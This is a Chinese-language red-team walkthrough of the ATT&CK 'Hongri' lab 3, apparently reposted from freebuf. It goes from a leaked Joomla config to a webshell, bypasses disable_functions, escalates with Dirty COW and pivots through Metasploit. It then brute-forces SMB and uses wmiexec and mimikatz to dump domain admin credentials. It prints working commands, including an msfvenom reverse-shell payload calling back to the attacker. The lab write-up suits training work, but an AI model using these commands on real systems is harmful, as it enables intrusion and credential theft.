ATT&CK实战系列–红队实战 – 作者:星云博创科技有限公司

前言

通过以往文章的靶场二,学习了msf免杀上线绕过360、Access Token利用(MSSQL利用)、WMI利用、域漏洞利用、域控信息收集和权限维持(黄金票据利用)。靶场三为黑盒测试,不提供虚拟机账号密码,目标是获取域控的flag文件,一起来看看如何去渗透吧。

环境搭建

ATT&CK实战系列——红队实战(三)是红日安全团队出品的一个实战环境,该靶场模拟真实环境,是个黑盒测试,不提供虚拟机密码。目标是域控中存在一份重要文件。具体的IP配置如下:

web-centos:192.168.93.100 外网:192.168.31.68

web-ubantu:192.168.93.120

win2012:192.168.93.10

win2008:192.168.93.20

win7:192.168.93.30

只有centos是双网卡,其余都是单网卡,将centos网卡eth0设置为自动获取ip

vim /etc/sysconfig/network-scripts/ifcfg-eth0/etc/init.d/network restart    #设置好后重启网络服务

v2-650392d5000fb796ea490a94071f8443_720w.png

漏洞利用

先对目标ip进行端口扫描发现目标主机开放了22、80、3306端口

v2-0f06ceec4be12977d37d4ae066c6c848_720w.png
访问80端口的网页,发现是用Joomla搭建的网站

v2-3d65d127472185cfaf443a81fedf2c68_720w.png
先使用dirsearch扫一下目录,发现了1.php是phpinfo文件,Joomla后台登录地址,   配置文件泄漏了数据库的账号密码

v2-a434299418720f28528260c9973b09c1_720w.png

试连接一下数据库,成功登录数据库,但是Joomla后台登录的管理员密码解密不出来

Joomla官网有重置管理员密码的操作,执行sql语句来添加一个管理员chan sectretv2-f2e0d4d04cba5979bf2c9608fd5ed04a_720w.png

成功添加账号后登录到后台,通过修改模版来拿shell

访问extensions-templates-templates-beez3,然后new file-新建文件chan.php

v2-dc9b0a4345e0a5a4c11a0dec25220f9b_720w.png

使用蚁剑连接成功后,但是执行命令返回的是127

v2-0b089fd07fa14af3c413135d62592ad7_720w.png
查看1.php文件的配置情况,服务端 disable_functions 禁用了命令执行函数,目标是Linux并且没有禁用putenv函数,所以可以利用LD_PRELOAD绕过

v2-55f3b7c70077a0e6e3dd093688e1dcc1_720w.png
这里直接使用蚁剑的插件,但是连接不上去(tmp目录下成功上传了.so文件网站目录也成功上传

了.antproxy.php文件),不知道为什么。

v2-9cdf903b0146b46a8e78974c8e261c66_720w.png

后面使用PHP7_GC_UAF模式成功执行命令v2-ea7fc08b682ca4b132ff350338b36812_720w.png

后面看见师傅用的另一种方法利用LD_PRELOAD绕过,用蚁剑bypass_diablefunc.php和 bypass_diablefunc_x64.so 上传到目标的同一目录,注意 .so 文件需要根据目标系统架构选择,然后访问bypass_diablefunc.php,cmd 是执行的命令,outpath是读写权限的目录,sopath是.so文件的绝对路径

http://192.168.31.168/templates/beez3/bypass_disablefunc.php?cmd=whoami&outpath=/tmp/baji&sopath=/var/www/html/templates/beez3/bypass_disablefunc_x64.so

v2-7cda96190135ccb45b11a70be8061d65_720w.png

先进行一些基本的信息收集,发现当前 ip为192.168.93.120并不是centos,内核是ubuntu说明真正的web服务后端在 ubuntu,通过centos做了个nginx反向代理解析到Ubuntu上。

翻下主机的文件发现了/tmp/mysql/test.txt文件存在账户密码

v2-56a85d82a178dd12731f1f2f928626a3_720w.png
使用ssh连接一下,成功连接,先看一下基本信息

发现Centos内核版本在脏牛提权的范围内,先尝试一下sudo提权和suid提权,发现不行,使用脏牛提权,将dirty.c上传到centos,使用命令gcc -pthread dirty.c -o dirty -lcryptv2-5e3e5147e8a97292f9aca3817ff4d72b_720w.png

切换到firefart用户,提权成功v2-fbb75cb4c3223a0839795595e88b4613_720w.png

内网渗透

在kali上生成chan.elf,设置监听,将elf文件上传到centos,执行后攻击机成功获得一个meterpreter
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.31.254 LPORT=4444 -f elf > /var/www/html/chan.elfv2-3e436ef89b73f8a0697028835bfbb3ea_720w.png

v2-f32d3f53add37db7aa3c6724e85e4753_720w.png

添加路由进行存活主机探测,或者使用ping命令

run autoroute -s 192.168.93.0/24backgrounduse auxiliary/scanner/smb/smb_versionset rhosts 192.168.93.0/24exploit

v2-8498fdd088226eb74928dd4d2132a4f1_720w.pngv2-d195b10dff49196de2e1cce50a9e9a5b_720w.pngv2-5cdf6ce52ceffab2f0aa7343bc520cf5_720w.png
for k in $( seq 1 255);do ping -c 1 192.168.93.$k|grep “ttl”|awk -F “[ :]+” ‘{print $4}’; done

v2-f64745f4b91568a88f69770f26853e5c_720w.png

发现了三台存活的TEST域的主机

192.168.93.10  windows 2012192.168.93.20  windows 2008192.168.93.30  windows 7

使用msf自带的模块进行端口扫描,发现三台主机开放了135、445端口

v2-c4d27ca236de0fd3d8549dce53570f0f_720w.png
使用msf自带的ms17-010模块扫描一波,没有发现漏洞

v2-62607b457f4bcdd08d6f57c32cc0a474_720w.png
使用msf的模块进行爆破 我这里没有爆破成功,看到其他师傅爆破出来密码是123qwe!ASD

use auxiliary/scanner/smb/smb_loginset rhosts 192.168.93.20set SMBUser administratorset PASS_FILE /usr/share/wordlists/top1000.txtexploit

使用爆破成功的密码进行渗透,使用msf开个sock4正向代理,配合proxychains

v2-9be642fe7909d5eeb225f33354aa1805_720w.png

v2-82523bb9200cc60fe19068d7a7a05d12_720w.png

使用wmicexec远程连接这两台主机,先进行基本的信息搜集,ipconfig /all知道DNS服务器即域控是192.68.93.10

proxychains python3 wmiexec.py -debug

‘administrator:[email protected]

proxychainspython3 wmiexec.py -debug

‘administrator:[email protected]

v2-100340105fdddc8da990ac9e5b8db03d_720w.png
v2-d563a078efff86d9dd758e9d51d28ccc_720w.png

在windows 2008主机上使用tasklist /v查看进程发现TEST域进程域管理员,尝试抓取其密码

v2-323c3725eec862a81786bb6f66456e44_720w.png
在kali上使用smbclient连接到windows 2008上传mimikatz

v2-d2a8055ce5b14119ba1bf2ceebbe429e_720w.png
wmiexec远程执行mimikatz 成功得到抓取到域管理员密码

mimikatz.exe “privilege::debug” “log” “sekurlsa::logonpasswords” “exit” > log.log

v2-f4cdfb6c0724c43153314958868f467e_720w.png
现在已经知道域控的账号密码了,同样的方法使用wmiexec.py脚本进行连接域控,找到flag文件v2-01abb00d0842f371d1d3de53476ce575_720w.png

总结

在搭建靶场时,环境遇到了问题,折腾了很久好在还是解决了。靶场大概情况为centos为出网机,web服务后端在 ubuntu,通过centos做了个nginx反向代理解析到Ubuntu上,域内有三台Windows主机。渗透过程是通过配置文件泄漏了数据库账号密码,从而添加Joomla管理员进入后台上传shell,disable_function的绕过(这个姿势学习到了),然后msf获取一个meterpreter来进行内网渗透,最终拿下域控获取flag。

来源:freebuf.com 2021-07-07 15:41:24 by: 星云博创科技有限公司

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论